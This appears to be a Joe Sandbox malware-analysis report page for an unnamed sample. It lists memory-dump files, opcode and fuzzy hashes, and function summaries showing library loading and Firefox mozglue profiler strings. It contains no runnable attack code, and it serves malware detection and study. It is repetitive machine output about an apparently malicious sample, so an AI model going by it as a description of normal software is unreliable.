Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d64662b12b4a7c3fad369b47789898f353935f4e5c9998bd26f9110d108c35fb
Instruction ID: 1bf1ffe5c2c2960b0963d3dd608623875c406460f8d3e6e590f033a9137ad3e1
Opcode Fuzzy Hash: d64662b12b4a7c3fad369b47789898f353935f4e5c9998bd26f9110d108c35fb
Instruction Fuzzy Hash: D75138F3E182109FF358992CECA4776B6C9DB94720F1A863CAB99D37C4E8795C0042C6

Function 00B00D30 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69cb138e76dede54d87226dda3208d89c83a661bb4894435afd1714bd7d6d648
Instruction ID: 59840ac953fbf0b5813964b9daabbb262fc731de467b96569966e2c475f55f57
Opcode Fuzzy Hash: 69cb138e76dede54d87226dda3208d89c83a661bb4894435afd1714bd7d6d648
Instruction Fuzzy Hash: C85125B7A0C7049FE314AE4AECD177AB7D6EBD4720F19813DE68887340E97958058792

Function 00A70888 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9d2f8b4cfdf6a7f059f5d465afe44c11ad83bf5f63052a68c2c8754c64036d9
Instruction ID: 12ce538013b80de42ce17211f12e919418f0b64665713a87e07c18aea7c7150a
Opcode Fuzzy Hash: e9d2f8b4cfdf6a7f059f5d465afe44c11ad83bf5f63052a68c2c8754c64036d9
Instruction Fuzzy Hash: 8C5177F3A097088BE3046E2EDC4872AF7E6EBC4720F1A853CD9C487744E87959468693

Function 00B1A48F Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9de9fb3bd00a3e05e79a1e5fa84cf9a282d6dccc66a659a041f9565d54562d32
Instruction ID: bff8961dfaf3aef1b23d32f81b4ca6f07e12b0de38c87c372ca7a4be1dc89674
Opcode Fuzzy Hash: 9de9fb3bd00a3e05e79a1e5fa84cf9a282d6dccc66a659a041f9565d54562d32
Instruction Fuzzy Hash: 9751D6F3A093109BE3086E18DC5577EF7E5EF94720F1B493DE6C997740EA3958018686

Function 00B03655 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeaf87c7f281681a448fbc508642bb00c9d61fb98b2d167e2aa0fd50ac538fb8
Instruction ID: a9b4710711c17c70ad445af7d5e3c106189c8528e18bca1ef1fd377070a4272b
Opcode Fuzzy Hash: aeaf87c7f281681a448fbc508642bb00c9d61fb98b2d167e2aa0fd50ac538fb8
Instruction Fuzzy Hash: 8C4119F3A0C6005FF309AD29EC8577AB7D6DFD4320F1B8A3DEA9493788E57448048296

Function 00A6DC84 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0d7466a6eb4a66209ba2cf3e90a617c12c0ab4a0070809608e2173199e085a4
Instruction ID: 15c216f2e33d53b7cde4d43c378ed6736d4962ab91ef8bfba480afd5b1b3c3ec
Opcode Fuzzy Hash: c0d7466a6eb4a66209ba2cf3e90a617c12c0ab4a0070809608e2173199e085a4
Instruction Fuzzy Hash: 47410FF3E255114BF3885839DD693776686EBD4720F2B853E9B8AD37C4EC7D890A0284

Function 00789750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6C65CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C62582D), ref: 6C65CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C62582D), ref: 6C65CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C68FE98,?,?,?,?,?,6C62582D), ref: 6C65CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C62582D), ref: 6C65CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C62582D), ref: 6C65CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C62582D), ref: 6C65CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C62582D), ref: 6C65CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C65CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C65CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C65CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C65CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C65CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C65CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C65CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C65CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C65CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C65CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C65CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C65CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C65CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C65CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C65CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C65CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C65CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C65CE8A

Strings

markersallthreads, xrefs: 6C65CE42
cpuallthreads, xrefs: 6C65CE16
mainthreadio, xrefs: 6C65CC7C
screenshots, xrefs: 6C65CCD4
fileioall, xrefs: 6C65CCA8
huJHThGsqSySzGhmKXSeSa.exeWQjhuJHThGsqSySzGhmKXSeSa.exeWQjhuJHThGsqSySzGhmKXSeSa.exeWQjhuJHThGsqSySzGhmKXSeSa.exeWQjhuJHThGsqSySzGhmKXSeSa.exeWQjhuJHThGsqSySzGhmKXSeSa.exeWQjhuJHThGsqSySzGhmKXSeSa.exeWQjhuJHThGsqSySzGhmKXSeSa.exeWQjhuJHThGsqSyS, xrefs: 6C65CE92
nostacksampling, xrefs: 6C65CD7C
fileio, xrefs: 6C65CC92
leaf, xrefs: 6C65CC66
preferencereads, xrefs: 6C65CD92
processcpu, xrefs: 6C65CE6E
samplingallthreads, xrefs: 6C65CE2C
seqstyle, xrefs: 6C65CCE6
stackwalk, xrefs: 6C65CCF8
audiocallbacktracing, xrefs: 6C65CDD4
noiostacks, xrefs: 6C65CCBE
Unrecognized feature "%s"., xrefs: 6C65CEA0
ipcmessages, xrefs: 6C65CDBE
nativeallocations, xrefs: 6C65CDA8
jsallocations, xrefs: 6C65CD0E
notimerresolutionchange, xrefs: 6C65CE00
default, xrefs: 6C65CC21
power, xrefs: 6C65CE84
java, xrefs: 6C65CC37
unregisteredthreads, xrefs: 6C65CE58

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$huJHThGsqSySzGhmKXSeSa.exeWQjhuJHThGsqSySzGhmKXSeSa.exeWQjhuJHThGsqSySzGhmKXSeSa.exeWQjhuJHThGsqSySzGhmKXSeSa.exeWQjhuJHThGsqSySzGhmKXSeSa.exeWQjhuJHThGsqSySzGhmKXSeSa.exeWQjhuJHThGsqSySzGhmKXSeSa.exeWQjhuJHThGsqSySzGhmKXSeSa.exeWQjhuJHThGsqSyS$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-4062947659
Opcode ID: 137e88b664fa4c9af193b1491c9972f7bb41c1425448d9fc46ed11b4518e7b49
Instruction ID: a270fb9001a12d182d1d282f6b3c49c85512af031004c0678d07f78684919bc3
Opcode Fuzzy Hash: 137e88b664fa4c9af193b1491c9972f7bb41c1425448d9fc46ed11b4518e7b49
Instruction Fuzzy Hash: 885146D1A4772572FA0031256D20BAA1489EF5B349FB04636DF07E1E80FA09962BC5BF

Function 6C624470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C624730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6244B2,6C69E21C,6C69F7F8), ref: 6C62473E
Part of subcall function 6C624730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C62474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6244BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6244D2
InitOnceExecuteOnce.KERNEL32(6C69F80C,6C61F240,?,?), ref: 6C62451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C62455C
LoadLibraryW.KERNEL32(?), ref: 6C624592
InitializeCriticalSection.KERNEL32(6C69F770), ref: 6C6245A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6245AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6245BB
InitOnceExecuteOnce.KERNEL32(6C69F818,6C61F240,?,?), ref: 6C624612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C624636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C624644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C62466D
VerSetConditionMask.NTDLL ref: 6C62469F
VerSetConditionMask.NTDLL ref: 6C6246AB
VerSetConditionMask.NTDLL ref: 6C6246B2
VerSetConditionMask.NTDLL ref: 6C6246B9
VerSetConditionMask.NTDLL ref: 6C6246C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6246CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6246F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6246FD

Strings

WRusr.dll, xrefs: 6C6244B5
NativeNtBlockSet_Write, xrefs: 6C6246F7
Gil, xrefs: 6C6244FC
user32.dll, xrefs: 6C624557, 6C62463F
l, xrefs: 6C624578
kernel32.dll, xrefs: 6C6244CD

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

